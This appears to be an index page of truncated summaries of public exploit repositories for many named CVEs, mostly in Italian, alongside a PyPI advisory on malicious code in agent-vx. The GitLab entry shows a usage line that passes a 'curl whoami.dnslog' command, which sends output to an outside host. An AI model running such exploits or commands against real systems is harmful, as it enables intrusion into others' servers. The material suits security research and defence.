Malicious code in agent-vx (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 90f0a2b273b0361ffd4057f114f1be1eaf9469c9746d2737a21947905570ff80 On import agentaix, the package's init.py runs a top-level installmanage side effect that renames a bundled readme.txt into manage.py and launches it...

MAL-2026-17755 Malicious code in agent-vx (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 90f0a2b273b0361ffd4057f114f1be1eaf9469c9746d2737a21947905570ff80 On import agentaix, the package's init.py runs a top-level installmanage side effect that renames a bundled readme.txt into manage.py and launches it...

CVE-2022-29464

WSO2 RCE CVE-2022-29464 exploit e writeup. Dettagli CVE-2022-29464 è una grave vulnerabilità in WSO2. La vulnerabilità è un caricamento arbitrario di file non autorizzato e senza restrizioni che consente a utenti non autorizzati di caricare file JSP dannosi sui server WSO2 e ottenere l'esecuzione...

CVE-2023-33246_RocketMQ_RCE_EXPLOIT

CVE-2023-33246 RocketMQ Exploit di Remote Code Execution CVE-2023-33246 RocketMQ Exploit di Remote Code Execution Panoramica RocketMQ è una piattaforma distribuita di messaggistica e streaming. Le versioni di RocketMQ 5.1.0 e precedenti sono vulnerabili all'iniezione arbitraria di codice. Il...

sunlogin_rce

Prefazione Non c'è molto da dire, metto direttamente lo strumento e le versioni vulnerabili. È ottimo per giocare in locale, ma non usatelo per test illegali. Versione vulnerabile del client Sunflower testata: 11.0.0.33162 Il client vulnerabile è fornito nel codice sorgente. Per la scansione dell...

CVE-2025-24367

CVE-2025-24367 CVE-2025-24367 - Cacti RCE autenticata su Graph Template...

CVE-2024-4040

Codice Exploit per CVE-2024-4040 Panoramica Questo codice exploit prende di mira la vulnerabilità CVE-2024-4040, consentendo l'accesso non autorizzato agli account utente leggendo e convalidando i token memorizzati nel file "sessions.obj". Se i token sono validi, gli hacker possono ottenere...

php-jpeg-injector

php-jpeg-injector Inietta payload php in immagini jpeg. Collegato a questo post. Caso d'uso Hai un'applicazione web che elabora un'immagine jpeg tramite la libreria grafica GD di PHP. Descrizione Questo script inietta codice PHP in una specifica immagine jpeg. L'applicazione web eseguirà il paylo...

CVE-2025-32756-POC

CVE-2025-32756: PoC RCE per Fortinet Un proof-of-concept per la vulnerabilità critica di buffer overflow basato su stack CVE-2025-32756 che colpisce i prodotti Fortinet. Vulnerabilità CVSS : 9.8 Critico Tipo : Buffer overflow basato su stack nell'elaborazione del cookie AuthHash Impatto :...

CVE-2021-41773

CVE-2021-41773 Ho sviluppato una POC di CVE-2021-41773 , RCE + path traversal in cgi-bin NOTA : TESTATO SU APACHE2 2.4.49 Puoi fare il pull della versione vulnerabile di Apache2 2.4.49 direttamente da Docker $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 Script Python per sfruttare PlaySMS prima della versione 1.4.3 Esecuzione Apri una porta sulla tua macchina: Ed esegui exploit.py: ./exploit.py Modifica dell'exploit Potresti voler cambiare la reverse shell creata da exploit.py Per farlo, puoi modificare la funzione...

spring-rce-poc

spring-rce-poc Test di CVE-2022-22968 Semplice applicazione vulnerabile a CVE-2022-22968 Dockerfile può essere utilizzato per crearla su una versione vulnerabile di Tomcat 9.0.59 exploit.sh è uno script shell che tenta di sfruttare questa CVE sulla porta 8080 di localhost Se l'attacco con...

CVE-2025-4403

CVE-2025-4403 Exploit Dettagli Pubblicato : 8 maggio 2025 Aggiornato : 9 maggio 2025 Gravità : Alta Punteggio CVSS: 9.8 CWE : CWE-434 - Caricamento senza restrizioni di file con tipo pericoloso Versioni interessate : Tutte le versioni da n/a fino a 1.1.6 Vettore CVSS Versione CVSS : 9.8 Stringa d...

CVE-2020-7961

CVE-2020-7961 Script di exploit per CVE-2020-7961 Esecuzione remota di codice non autenticata tramite JSONWS Riferimenti e ispirazioni post del blog originale : https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html post del blog synacktiv :...

gogsownz

GogsOwnz GogsOwnz è un semplice script per ottenere diritti di amministratore e RCE su un server Gogs/Gitea. Sfrutta vulnerabilità in Gogs/Gitea, tra cui CVE-2018-18925 , CVE-2018-20303. Disclaimer legale Questo script è fornito così com'è. Senza garanzia, usalo a tuo rischio, per favore rispetta...

CVE-2021-22205

CVE-2021-22205 Versioni interessate: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Utilizzo python3 CVE-2021-22205.py target "curl \whoami.dnslog" Ottieni token csrf: Ottieni il token csrf tramite /users/signin, poi usa il precedente PoC di CVE-2021-22205 per creare un pacchetto di...

CVE-2025-55182

CVE-2025-55182 Questo repository contiene una riproduzione di Proof of Concept PoC per CVE-2025-55182 , una vulnerabilità critica di sicurezza in React Server Components RSC che consente l'esecuzione di codice arbitrario non autenticata. Descrizione La vulnerabilità risiede nel modo in cui React...

react-vuln-scanner

Scanner per la vulnerabilità React CVE-2025-55182 Uno script bash per scansionare il tuo server alla ricerca di applicazioni React vulnerabili a CVE-2025-55182 — una vulnerabilità critica di esecuzione remota di codice CVSS 10.0 in React Server Components. ⚠️ Sulla vulnerabilità Il 3 dicembre 2025...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 Befehlseinschleusung. Das Paket pdfkit ist anfällig für Befehlseinschleusung, da die URL nicht ordnungsgemäß bereinigt wird. Hinweis: Dieses Problem wurde in 0.8.7.2 behoben, aber der Patch erwies sich als unwirksam. Die aktualisierte Patch-Version...

rails-exploit-cve-2013-0156

== PoC di exploit per Rails per CVE-2013-0156 e CVE-2013-0155 Applicazione Rails 3.2.10 bootstrap con l'exploit di esecuzione di codice remoto. Rif.: https://github.com/ronin-ruby/ronin-ruby.github.com/blob/rails-pocs/blog/posts/2013-01-09-rails-pocs.md === Configurazione Installa le dipendenze g...